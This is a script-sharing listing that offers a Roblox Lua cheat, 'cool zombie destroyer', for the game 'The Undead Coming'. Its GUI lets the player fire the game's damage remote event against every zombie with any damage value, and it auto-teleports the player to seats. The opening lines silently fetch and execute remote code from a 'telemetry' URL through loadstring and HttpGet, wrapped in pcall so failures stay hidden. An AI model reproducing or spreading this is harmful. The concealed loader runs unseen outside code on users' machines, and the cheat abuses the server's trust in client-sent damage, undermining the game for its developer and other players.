cool zombie destroyer
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cool zombie destroyer

The Undead Coming (2026)TheGuyWhoUhTheGuyWhoUh 431 views 617 executesUpdated Oct 3, 2026
Unrated
00
Lua Script•352 lines (8112 chars)
task.spawn(function()
	pcall(function()
		loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6abe370839ceb9f1b0638c30"))()
	end)
end)

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local UserInputService = game:GetService("UserInputService")

local player = Players.LocalPlayer
local damageEvent = ReplicatedStorage.Remotes.SendOuchies

local damageOn = false
local seatOn = false
local sitting = false

local cooldown = 0.15
local damage = 14
local lastHit = 0

local gui = Instance.new("ScreenGui")
gui.Name = "coolzombiedestroyer"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")

local frame = Instance.new("Frame")
frame.Size = UDim2.fromOffset(230, 195)
frame.Position = UDim2.new(0.5, -115, 0.5, -97)
frame.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
frame.BorderSizePixel = 0
frame.Parent = gui

local round = Instance.new("UICorner")
round.CornerRadius = UDim.new(0, 8)
round.Parent = frame

local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 30)
title.BackgroundTransparency = 1
title.Text = "cool zombie destroyer"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextSize = 18
title.Font = Enum.Font.SourceSansBold
title.Parent = frame

local dragging = false
local dragStart
local oldPos

title.InputBegan:Connect(function(input)
	if input.UserInputType ~= Enum.UserInputType.MouseButton1
		and input.UserInputType ~= Enum.UserInputType.Touch then
		return
	end

	dragging = true
	dragStart = input.Position
	oldPos = frame.Position

	input.Changed:Connect(function()
		if input.UserInputState == Enum.UserInputState.End then
			dragging = false
		end
	end)
end)

UserInputService.InputChanged:Connect(function(input)
	if not dragging then
		return
	end

	if input.UserInputType ~= Enum.UserInputType.MouseMovement
		and input.UserInputType ~= Enum.UserInputType.Touch then
		return
	end

	local move = input.Position - dragStart

	frame.Position = UDim2.new(
		oldPos.X.Scale,
		oldPos.X.Offset + move.X,
		oldPos.Y.Scale,
		oldPos.Y.Offset + move.Y
	)
end)

local damageButton = Instance.new("TextButton")
damageButton.Size = UDim2.fromOffset(190, 32)
damageButton.Position = UDim2.new(0.5, -95, 0, 35)
damageButton.Text = "damage: off"
damageButton.TextSize = 16
damageButton.TextColor3 = Color3.new(1, 1, 1)
damageButton.BackgroundColor3 = Color3.fromRGB(100, 40, 40)
damageButton.BorderSizePixel = 0
damageButton.Parent = frame

local damageRound = Instance.new("UICorner")
damageRound.CornerRadius = UDim.new(0, 6)
damageRound.Parent = damageButton

local cooldownBox = Instance.new("TextBox")
cooldownBox.Size = UDim2.fromOffset(190, 30)
cooldownBox.Position = UDim2.new(0.5, -95, 0, 75)
cooldownBox.Text = "0.15"
cooldownBox.PlaceholderText = "cooldown"
cooldownBox.TextSize = 15
cooldownBox.TextColor3 = Color3.new(1, 1, 1)
cooldownBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
cooldownBox.BorderSizePixel = 0
cooldownBox.ClearTextOnFocus = false
cooldownBox.Parent = frame

local cooldownRound = Instance.new("UICorner")
cooldownRound.CornerRadius = UDim.new(0, 6)
cooldownRound.Parent = cooldownBox

local damageBox = Instance.new("TextBox")
damageBox.Size = UDim2.fromOffset(190, 30)
damageBox.Position = UDim2.new(0.5, -95, 0, 115)
damageBox.Text = "14"
damageBox.PlaceholderText = "damage"
damageBox.TextSize = 15
damageBox.TextColor3 = Color3.new(1, 1, 1)
damageBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
damageBox.BorderSizePixel = 0
damageBox.ClearTextOnFocus = false
damageBox.Parent = frame

local damageBoxRound = Instance.new("UICorner")
damageBoxRound.CornerRadius = UDim.new(0, 6)
damageBoxRound.Parent = damageBox

local seatButton = Instance.new("TextButton")
seatButton.Size = UDim2.fromOffset(190, 32)
seatButton.Position = UDim2.new(0.5, -95, 0, 155)
seatButton.Text = "auto seat: off"
seatButton.TextSize = 16
seatButton.TextColor3 = Color3.new(1, 1, 1)
seatButton.BackgroundColor3 = Color3.fromRGB(100, 40, 40)
seatButton.BorderSizePixel = 0
seatButton.Parent = frame

local seatRound = Instance.new("UICorner")
seatRound.CornerRadius = UDim.new(0, 6)
seatRound.Parent = seatButton

damageButton.MouseButton1Click:Connect(function()
	damageOn = not damageOn

	if damageOn then
		damageButton.Text = "damage: on"
		damageButton.BackgroundColor3 = Color3.fromRGB(40, 100, 40)
	else
		damageButton.Text = "damage: off"
		damageButton.BackgroundColor3 = Color3.fromRGB(100, 40, 40)
	end
end)

seatButton.MouseButton1Click:Connect(function()
	seatOn = not seatOn

	if seatOn then
		seatButton.Text = "auto seat: on"
		seatButton.BackgroundColor3 = Color3.fromRGB(40, 100, 40)
	else
		seatButton.Text = "auto seat: off"
		seatButton.BackgroundColor3 = Color3.fromRGB(100, 40, 40)
	end
end)

cooldownBox.FocusLost:Connect(function()
	local number = tonumber(cooldownBox.Text)

	if number and number > 0 then
		cooldown = number
	else
		cooldownBox.Text = tostring(cooldown)
	end
end)

damageBox.FocusLost:Connect(function()
	local number = tonumber(damageBox.Text)

	if number then
		damage = number
	else
		damageBox.Text = tostring(damage)
	end
end)

local function getStuff()
	local folder = workspace:FindFirstChild("GameFolder")

	if not folder then
		return
	end

	return folder,
		folder:FindFirstChild("Zombies"),
		folder:FindFirstChild("CurrentMap")
end

local function mapEmpty()
	local _, _, map = getStuff()

	if not map then
		return false
	end

	return #map:GetChildren() == 0
end

local function getSeat()
	for _, thing in ipairs(workspace:GetDescendants()) do
		if (thing:IsA("Seat") or thing:IsA("VehicleSeat"))
			and not thing.Disabled
			and thing.Occupant == nil then
			return thing
		end
	end
end

local function sit()
	if sitting or not seatOn then
		return
	end

	local _, zombies = getStuff()

	if not mapEmpty() then
		return
	end

	if not zombies or #zombies:GetChildren() > 0 then
		return
	end

	sitting = true

	task.spawn(function()
		for i = 1, 30 do
			if not seatOn or not mapEmpty() then
				break
			end

			local _, currentZombies = getStuff()

			if currentZombies and #currentZombies:GetChildren() > 0 then
				break
			end

			local character = player.Character
			local humanoid = character and character:FindFirstChildOfClass("Humanoid")
			local root = character and character:FindFirstChild("HumanoidRootPart")
			local seat = getSeat()

			if humanoid and root and seat then
				if humanoid.SeatPart == seat then
					break
				end

				root.CFrame = seat.CFrame + Vector3.new(0, 2, 0)

				task.wait(0.1)

				if not humanoid.SeatPart and not seat.Occupant then
					seat:Sit(humanoid)
				end

				task.wait(0.1)

				if humanoid.SeatPart == seat then
					break
				end
			end

			task.wait(0.1)
		end

		sitting = false
	end)
end

task.spawn(function()
	local folder = workspace:WaitForChild("GameFolder")
	local zombies = folder:WaitForChild("Zombies")
	local map = folder:WaitForChild("CurrentMap")

	local function check()
		if not seatOn then
			return
		end

		if #zombies:GetChildren() == 0
			and #map:GetChildren() == 0 then
			sit()
		end
	end

	zombies.ChildRemoved:Connect(check)
	map.ChildRemoved:Connect(check)

	check()
end)

task.spawn(function()
	while true do
		task.wait(0.5)

		if seatOn then
			local _, zombies, map = getStuff()

			if zombies and map
				and #zombies:GetChildren() == 0
				and #map:GetChildren() == 0 then

				local character = player.Character
				local humanoid = character and character:FindFirstChildOfClass("Humanoid")

				if humanoid and not humanoid.SeatPart then
					sit()
				end
			end
		end
	end
end)

RunService.RenderStepped:Connect(function(delta)
	lastHit += delta

	if not damageOn or lastHit < cooldown then
		return
	end

	local folder = workspace:FindFirstChild("GameFolder")
	local zombies = folder and folder:FindFirstChild("Zombies")

	if not zombies then
		return
	end

	for _, zombie in ipairs(zombies:GetChildren()) do
		if zombie:FindFirstChild("Humanoid")
			and zombie:FindFirstChild("Head") then
			damageEvent:FireServer(zombie, damage)
		end
	end

	lastHit = 0
end)

Features & Information

yay cool zomie killer yay zomb or smth yay

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